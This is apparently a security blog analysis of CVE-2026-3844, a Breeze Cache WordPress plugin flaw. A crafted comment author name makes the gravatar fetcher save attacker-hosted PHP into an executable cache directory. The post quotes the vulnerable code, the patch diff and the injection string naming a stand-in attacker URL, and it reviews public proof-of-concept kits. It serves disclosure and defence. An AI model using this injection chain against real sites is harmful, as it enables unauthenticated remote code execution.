//nefariousplan

CVE-2026-3844: The Gravatar Fetcher Fetched Anything

patterns

cve

proof of concept

The CVE description names one missing check: file type validation. The patch added four. It now refuses any URL whose host is not gravatar.com, refuses any filename whose extension is not in an image allowlist, refuses any HTTP response whose detected content-type does not start with image/, and rewrote the regex that decided which URLs to fetch in the first place. The function it patched is named fetch_gravatar_from_remote. Pre-patch, the function did not check the host, did not check the filename, did not check the response, and accepted whatever URL a substring-matching regex could pull out of the avatar HTML. The function had one gravatar-specific thing about it. Its name.

The class is named CronJobs. The bug is not in a cron.

The vulnerable code lives in inc/class-breeze-cache-cronjobs.php, in a class called Breeze_Cache_CronJobs. The class does register a cron, a weekly breeze_clear_remote_gravatar job that calls extra_cache_cleanup on the gravatar directory. That is the cron in Breeze_Cache_CronJobs. The exploit does not touch it.

The constructor's other action is what matters:

function __construct( $enabled ) {
    if ( $enabled ) {
        ...
        add_filter( 'get_avatar', array( &$this, 'breeze_replace_gravatar_image' ) );
    }
}

get_avatar is a WordPress filter that fires every time core or a theme renders an avatar. Comments render avatars. So every time a visitor loads a post page that has a comment, breeze_replace_gravatar_image runs synchronously inside that visitor's request. There is no queue. There is no rate limit. The download to a third-party host happens on the page load itself, blocking the response.

The class name documents the cleanup half. The exploit lives in the render-time half. The cron in the name is camouflage for half the file's surface.

The regex matched srcset= as a substring, not as an attribute.

breeze_replace_gravatar_image receives the avatar HTML that get_avatar is about to return. It tries to find URLs inside that HTML by regex. The vulnerable regex, verbatim:

preg_match_all(
    '/srcset=["\']?((?:.(?!["\']?\s+(?:\S+)=|\s*\/?[>"\']))+.)["\']?/',
    $gravatar,
    $srcset
);
if ( isset( $srcset[1] ) && isset( $srcset[1][0] ) ) {
    $url             = explode( ' ', $srcset[1][0] )[0];
    $local_gravatars = $this->fetch_gravatar_from_remote( $url );
    $gravatar        = str_replace( $url, $local_gravatars, $gravatar );
}

The leading srcset= has no anchor in front of it. The quote characters around the value are optional. The capture group runs until a negative lookahead spots the next attribute or the close of the tag. This matches the substring srcset=... anywhere in the input, including inside the value of another attribute.

The HTML produced by get_avatar is an <img> tag whose alt attribute carries the comment author's name. WordPress HTML-escapes that name before placing it in the attribute. The escaping converts <, >, ", ', &. It does not convert the literal characters srcset=, because srcset= is not special in HTML.

The PoC posts a comment with the literal author name x srcset=http://attacker/s.php. The rendered avatar HTML contains, approximately:

<img alt='x srcset=http://attacker/s.php' src='https://www.gravatar.com/avatar/...' srcset='...' class='avatar' />

The regex's first match for srcset= lands inside the alt attribute. It captures http://attacker/s.php. That string is fed to fetch_gravatar_from_remote.

The patch:

-preg_match_all( '/srcset=["\']?((?:.(?!["\']?\s+(?:\S+)=|\s*\/?[>"\']))+.)["\']?/', $gravatar, $srcset );
-if ( isset( $srcset[1] ) && isset( $srcset[1][0] ) ) {
-    $url             = explode( ' ', $srcset[1][0] )[0];
+if ( preg_match( '/\ssrcset=["\']([^"\']+)["\']/', $gravatar, $srcset_match ) ) {
+    $url             = explode( ' ', trim( $srcset_match[1] ) )[0];

The new regex requires a leading whitespace character (\s) before srcset= and a mandatory quoted value after it. Both anchors are necessary. The author injection no longer matches because the srcset= inside the alt attribute is preceded by a quote character, not by whitespace.

This was the regex's whole job: locate srcset values in HTML. It was an HTML attribute parser, written as a substring search. The fix is the regex correctly written for the first time.

fetch_gravatar_from_remote checked nothing.

The pre-patch function, with the housekeeping elided:

private function fetch_gravatar_from_remote( string $url = '' ): string {
    if ( empty( $url ) ) { return ''; }
    $local_gravatar_name = basename( wp_parse_url( $url, PHP_URL_PATH ) );
    $saved_gravatar      = $this->check_for_content( 'gravatars', $local_gravatar_name );
    if ( ! empty( $saved_gravatar ) ) { return $saved_gravatar; }
    $gravatar_local_path = $this->get_local_extra_cache_directory( 'gravatars' );
    $gravatar_name       = basename( wp_parse_url( $url, PHP_URL_PATH ) );
    if ( ! file_exists( $gravatar_local_path . $gravatar_name ) ) {
        $temp_gravatar = download_url( $url );
        if ( ! is_wp_error( $temp_gravatar ) ) {
            $is_saved = $wp_filesystem->move(
                $temp_gravatar,
                $gravatar_local_path . $gravatar_name,
                true
            );
            ...
        }
    }
    return content_url( '/cache/breeze-extra/gravatars/' . $blog_id . $gravatar_name );
}

Empty-string check. URL parse. Cache lookup. Download. Save. Return URL. The filename written to disk is basename( wp_parse_url( $url, PHP_URL_PATH ) ), which is whatever the attacker chose. The destination is wp-content/cache/breeze-extra/gravatars/, which is under the WordPress content directory and is served by the configured PHP handler with no special restriction on .php. The function trusts the URL it received from the regex. It does not verify that the URL points at gravatar.com. It does not verify that the URL ends in an image extension. It does not verify that the response body resembles an image. It writes the bytes to a path the web server will execute on the next request.

The patch added the four checks the function name had been promising:

+$host = strtolower( (string) wp_parse_url( $url, PHP_URL_HOST ) );
+if ( 'gravatar.com' !== $host && '.gravatar.com' !== substr( $host, -13 ) ) {
+    return $url;
+}
+
+$gravatar_name  = basename( wp_parse_url( $url, PHP_URL_PATH ) );
+$filetype       = wp_check_filetype( $gravatar_name );
+$allowed_images = array( 'image/jpeg', 'image/png', 'image/gif' );
+
+if ( ! empty( $filetype['type'] ) && ! in_array( $filetype['type'], $allowed_images, true ) ) {
+    return $url;
+}
...
+$file_check = wp_check_filetype_and_ext( $temp_gravatar, $gravatar_name );
+if ( empty( $file_check['type'] ) || 0 !== strpos( $file_check['type'], 'image/' ) ) {
+    @unlink( $temp_gravatar );
+    return $url;
+}

Host allowlist. Filename extension allowlist. Pre-download type check from the filename. Post-download content-type check on the body. Four definitional checks for "this is a gravatar." The pre-patch code had none. The function's contract was advertised in its name and nowhere else.

What the description names, and what the patch does.

The NVD entry and the cve.org record both describe the bug as "missing file type validation in the fetch_gravatar_from_remote function." That is the fourth check in the patched diff. It is also the only check the description names.

The other three checks in the patch correspond to three other failures. The host allowlist closes "fetch_gravatar accepts URLs that are not gravatar URLs." The filename extension check closes "fetch_gravatar saves files whose names assert they are not images." The regex anchoring closes "the function fetched URLs that were not in srcset positions at all." None of these three appear in the description. A defender reading the advisory and grepping their fleet for "missing file type validation" finds one of the four shapes. The pattern they would need to find the other three is "fetcher named for what it should do, written as if for what it is being asked to do."

This is unauth-write-to-execution-path. Again.

The shape this CVE composes is the one Unauth Write To Execution Path names. An unauthenticated request triggers a write into a directory the web server is configured to execute from. The request is POST /wp-comments-post.php with a comment author that contains a literal srcset= substring. The write happens later, on the first GET of any page that renders that comment. The file lands in wp-content/cache/breeze-extra/gravatars/ with the attacker's filename. The PHP handler executes it on the next request. There is no shellcode in this story, no race condition, no parser confusion. Three architectural decisions composed: a write trigger that does not authenticate, a write directory that overlaps the execute path, and a write contract that does not validate the file's identity. Removing any one would have broken the chain. Cloudways shipped a function that removed none of them, and the company did so with the function carrying a name that asserted, falsely, that it was a constrained primitive.

The pattern catalog has been collecting these. CrushFTP. SAP NetWeaver. The Pix for WooCommerce CVE wrote shells into a plugin directory that PHP served. The Breeze Cache instance is the same shape with a different filename: a 12-character random PHP file written by www-data, served on the next GET, executed as PHP, returning whatever the attacker's ?cmd= parameter wanted run.

The plugin reports 400,000 active installations. The exploitable subset is smaller, gated on the "Host Files Locally - Gravatars" setting, which is off by default. That setting is a privacy feature: it stops the WordPress server from making outbound requests to gravatar.com on behalf of every visitor and stops gravatar.com from recording every visitor's IP. Site administrators who turned it on were minimizing third-party data flow. The setting that defenders chose for privacy is the setting that opened the unauthenticated path to the execute root. The setting label said "Host Files Locally." The function it enabled hosted whatever the regex pointed at.

The PoCs.

Four public PoCs exist as of disclosure plus three days. They are not the same kind of artifact.

dinosn/CVE-2026-3844 is research-quality. It ships a Docker lab, a single-target exploit script, and a payload (shell.php) that echoes a verification token and exits. The README walks the chain end to end. Run against the lab, it confirms the bug. Run against an arbitrary internet target, it does the same thing the lab did. The payload is harmless because it was written that way; the chain is not.

im-hanzou/CVE-2026-3844 is a campaign kit. It uses a multiprocessing.Pool with a default of ten worker processes, ingests target lists from a file, generates a 12-character random filename per target, and appends successful uploads to successful_uploads.txt in the format <target> | <shell_url>. The default payload URL is hardcoded to a GitHub gist owned by the same author. The README contains the line "This tool is for educational and authorized security research purposes only."

0xgh057r3c0n/CVE-2026-3844 is a fork of im-hanzou's script with a different ASCII banner. It defaults to the same gist URL as im-hanzou's payload, including the same SHA-pinned path. The author did not change the default. The two repositories are the same exploit run by the same payload, distinguishable by which terminal banner they print first. Both ship behind the same disclaimer. Both follow the Disclaimer Wrapped Campaign Kit shape: the README claims authorized testing, the architecture and the output format describe an accumulator built to scale.

tausifzaman/CVE-2026-3844 would not exploit this bug if anyone ran it. The script POSTs a multipart/form-data upload to /wp-admin/admin-ajax.php with action=breeze_fetch_gravatar, an AJAX action that does not exist in the Breeze codebase. It then checks for shells at wp-content/uploads/avatars/shell.php and similar paths the plugin never writes to. The version-check predicate compares against 2.1.19 while a comment on the next line names the actual maximum vulnerable version 2.4.4; the comparison is never updated to use the second variable. This PoC is not a different angle on the bug. It is a repository with a CVE number for a name and code that does not perform the CVE.

Three of the four are honest in different directions. One is the artifact of publishing an exploit-shaped repository on the day of disclosure regardless of whether the exploit works. Defenders building detection from "what the public PoCs do" are looking at three working chains, one fork, and one piece of stagecraft.

What the description does not say.

The CVE description is correct about the file type validation gap. It is also correct in a way that lets defenders patch one check and call the work done. The other three checks the patch added were the ones that defined "this function fetches gravatars" rather than "this function fetches whatever URL is handed to it." Those three were missing for the same reason the file type check was missing: the function's name was treated as documentation of intent, and intent was treated as enforcement.

PoC: dinosn/CVE-2026-3844

The function had one gravatar-specific thing about it. Its name.